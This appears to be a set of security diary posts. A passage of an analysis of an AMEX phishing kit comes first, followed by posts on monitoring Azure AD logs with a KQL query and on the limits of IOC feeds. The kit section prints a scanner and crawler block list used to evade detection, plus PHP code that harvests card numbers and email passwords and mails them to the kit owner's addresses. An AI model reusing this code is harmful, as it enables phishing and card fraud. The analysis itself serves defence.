'netants','netcraft','netestate','netmechanic','netseer','netspider','netzip','news bot','nicebot','nicerspro','nineconnections','ning/1.0','ninja',
'njuicebot','nmap','nomad','npbot','nsplayer','nutch','object-extractor','obot/2.3.1','octopus','offline navigator','omgilibot','omniexplorer','oozbot',
'openfind','opera/0.','opera/2.','opera/3.','opera/4.','opera/5.','opera/6.','opera/7.','opera/8.','ourbrowser','ow.ly web crawler','packrat',
'page fetcher','page_verifier','pagegetter','pagesinventory','pagesummary','paloaltonetworks','panscient','paperlibot','parsijoo','patchone',
'path 2','pavuk','pcbrowser','peerindex','pentru','peoplepal','perl','photon','phpcrawl','picaloader','picgrabber','pics','picsearch','pictsnapshot',
'picture finder','ping','pipl','pixmatch','pixray','place','planetwork','plukkie','poe-component-client-http','pogs','powerbot','powermarks','profiler',
'sicent','sickseo','similarpages','siphon','sistrix','sitebot','siteexplorer','siteintel','sitespeedbot','sledink','slysearch','smile seo tools',
'tecnoseek','tecomac-crawler','teleport','telesoft','tencenttraveler','teradex mapper','theworld','thumbshots-de-bot','tineye','tiptop','titan','tivraspider',
'to-night-bot','toata','tocrawl','topseo','toscrawler','tourist crawler','traumacadx','trendictionbot','trivial','true_robot','turingos','turnitinbot',
'twat','twengabot','twisted pagegetter','twitjobsearch.com','twitterbot','u01-2','ucmore','unmask-parasites','updowner','upictobot','url_spider_sql',
'wangidspider','warebay','warning','wasalive-bot','wauuu','wbsearchbot','web downloader','webalta','webauto','webbot','webbug','webcapture','webclipping',
'webcollage','webcompanycrawler','webfetch','webfilter robot','webfindbot','webfluenz','webgo','webleacher','webmastercoffee','webmoney advisor','webot',
'wget','whitehat','whizbang','whois365 inquirer','Mozilla/4.0','wikio','Mozilla/4.0 (compatible; MSIE 7.0; Windows\t\t\t\t\tNT 5.2)','willow internet crawler',
'winhttp','winhttprequest','wire','wise-guys','wolf','wordchampbot','wordpress ha','wordpress.com mshots','woriobot','worldbot','wotbox','vbseo.com',
'wwwoffle','x-crawler','xaldon','xenu','xirio','xmpp tiscali communicator','xpymep','xrumer','xtractorpro','yacy','yadirectbot','yahooseeker','yandeg',
'yandex','yeti','yfsj crawler','yodao','yolinkbot','yoofind','youdao','your-search-bot','zealbot','zermelo','Java/1.8.0_91','zmeu','zumbot','zyborg','Bork-edition');

$hostname_ban_array = array('symantec-norton.com','hostcollective.com','cache.google.com','googleusercontent.com','avast.com','google.com',

Here is an overview of the phishing process. A suite of pages to collect all information to take over the account:

Finally, the victim redirected to a wrong page on the official AMEX website:

By reviewing the code, you find the owner of the kit. Data are exfiltrated to protonmail.ch and yandex.ru addresses:

$to = "s.amex@yandex.com, spartaamex@protonmail.ch"; // Put Your Emails Here
$ip = getenv("REMOTE_ADDR");
$date                   =       date("D M d, Y g:i a");
$user_agent     =   $_SERVER['HTTP_USER_AGENT'];
$hostname = gethostbyaddr($ip);
$message  = "==================  1st EMAIL & PASS ".$ip."  ==================\n";
$message .= "Card Number : ".$_POST['ccnum']."\n";
$message .= "Expiry Date : ".$_POST['expr']."\n";
$message .= "E-mail Address: ".$_POST['email']."\n";
$message .= "E-mail Password: ".$_POST['emailpass']."\n";
$message .= "============= [ Ip & Hostname Info ] =============\n";
$message .= "Client IP : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "Date And Time : ".$date."\n";
$message .= "Browser Details : ".$user_agent."\n";
$message .= "=============+Codewizard+===========\n";
$to = "s.amex@yandex.com, spartaamex@protonmail.ch";
$subj = " 1st EMAIL & PASS ||".$ip."\n";
$from = "From: AMEX  <codx@xject.com>";
$fp = fopen('<redacted>.txt', 'a');
fwrite($fp, $message);
mail($to, $subj, $message, $from);
Header ("Location: email2.php");

Did you see the filename fopen() call to append data to a flat-file? The file is still available on the server but, hopefully, does not contain a lot of valid data.

Of course, the webserver hosts more than one kit:

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2020-10-01

Making sense of Azure AD (AAD) activity logs

Chances are, you are quite familiar with the logs of your on-premises Active Directory (AD) domain controller. The corresponding Event IDs have been well documented over the years (though not thanks to Microsoft), and many blog posts have been written about how to use AD logs to detect Pass-the-Hash, brute force attempts, Kerberoasting, and more.

Increasingly though, we all find our Active Directory slowly (or quickly) migrating into the Cloud, and becoming an Azure Active Directory (AAD). Some of the old on-premises AD body of knowledge in detection and defense still applies, but most is obsolete. And - brave new world - AAD is usually exposed to the Internet in some form or fashion, so it is subject to all the noise that all the miscreants on the planet can fire against the IP address that happens to be yours.

As was the case with Active Directory, Microsoft isn't really making huge strides in sharing the knowledge needed to keep Azure AD safe, either. The https://github.com/MicrosoftDocs and https://github.com/Microsoft repositories are sharing some samples, many of which are outdated, but in general, the documentation is still kinda thin.

If you are like many small businesses or institutions who use AAD, but can't afford the full-fledged Microsoft offering with Sentinel, Azure ATP (now called Microsoft Defender for Identity) and other $$$-gadgets, you are kinda on your own.

You still should look at them logs though, because ... as mentioned above ... AAD is usually "internet-facing", and if there is any chink in your armor, the miscreants will find it eventually. 

Rather than to stream your AAD logs back to on-premises into your existing ELK or Splunk or what-have-you, I'd suggest you look into connecting your AAD into a LogAnalytics space in Azure. It isn't exactly cheap, but if you don't go overboard with the volume or retention period, you'll find it useful. More info how to set it up, here: https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/howto-analyze-activity-logs-log-analytics

Once you have this in place, you can use the Kusto Query Language to run quickfire analysis queries like this one, to look for failed logins that originate from the same IP, and hit several user IDs:

| where ResultType != 0                                 // failed logins only
| extend TimeBin=bin(TimeGenerated,2h)                  // in 2h interval buckets
| summarize IDs=make_set(Identity) by IPAddress,TimeBin // attempted usernames per source IP and time bucket
| extend targets=array_length(IDs)                      // count how many
| render columnchart                                    // paint a pretty picture

which in my case, for the community college where I'm watching the AAD, is resulting in something like this for last week:

which in turn provides ample incentive to drill down further, and to also look into how to deploy some kind of automatic responder that bans this kind of nonsense, by pushing a temporary block rule to zap the offending IPs.

If you know of useful resources on how to monitor Azure AD, please let us know, or share in the comments below.


Published: 2020-10-01

IOC's turning into IOOI's

Remember, back in the days, when the anti-virus vendors looked with derision at some of their competition, exclaiming "But they are using just SIGNATURES. Our tool detects BEHAVIOURS".  That was like 15 years ago. Fast forward to today, with many of the same vendors now selling "threat intelligence feeds" for good money, and the most frequent attributes pushed over these feeds are MD5/SHA1 hashes and IP addresses. The main thing that changed is that we now call these items "IOCs" (Indicators of Compromise) instead of "signatures", but they still mostly are what they always were: Binary fingerprints that are very easy for an attacker to change. 

There certainly is some value in detecting IPs and SHA1 hashes, but for most of these IOCs, their value rapidly diminishes within hours or days after the artefact was first sighted in the wild. With the bad guys making increased use of Cloud based infrastructure, and correspondingly rapid change and re-use of IP addresses, even the most useful IP address "IOC" can rapidly turn from an indicator of compromise into an "IOOI", an Indicator of outdated Intelligence.  

IOOI - that's what I call it when we get a match on an IP that freshly came over a threat intel feed, but after analysis, we end up with the determination that our match is just for some innocent party who "inherited" a cloud based IP address that, hours or days or weeks earlier, had been used by someone else, for malicious purposes.

In 2013, David Bianco published his paper on what he called "The Pyramid of Pain" where he details the different types of "indicators", and the corresponding "pain" inflicted on attackers when these indicators are getting detected or blocked. The little snag about that pyramid though is that it is also a "Pyramid of Effort" for us in the defense to effectively detect the corresponding artefacts.

Matching against IPs and hash IOCs is trivial, once you collect the necessary logs. Reliably detecting TTPs (Tactics Techniques and Procedures) in comparison still requires some skilled and continuous effort for this detection to remain up to date, functional and relevant. But like most things in life, it is the more difficult and harder endeavours that are the ones worth pursuing. So if you haven't done so yet, take a look at MITRE's excellent "ATT&CK" framework, and the detailled real-life attack techniques described therein. Then, for each of the techniques mentioned, assess how good your current tooling and procedures are in catching these individual techniques. Be honest with yourself, and don't be discouraged by the gaps that you'll inevitably discover ... but then prioritize, and start plugging away at shoring them up.

Since you already have the capability to match IPs and hashes from your "threat intel feeds" against your logs, chances are you also already have the logs and capabilities in place that are necessary to go looking for TTPs. But unlike matching on IP and Hash IOCs, spending time on TTP detection will, over time, give you detection capability that is uniquely tuned to YOUR environment. And that's where the value is, much more so than in chasing matches for IOCs that turn out to be IOOIs.

If you have your own experiences with IOOIs, or with TTP detection capabilities that have a longer half-life than simple IOCs, please let us know or share in the comments below.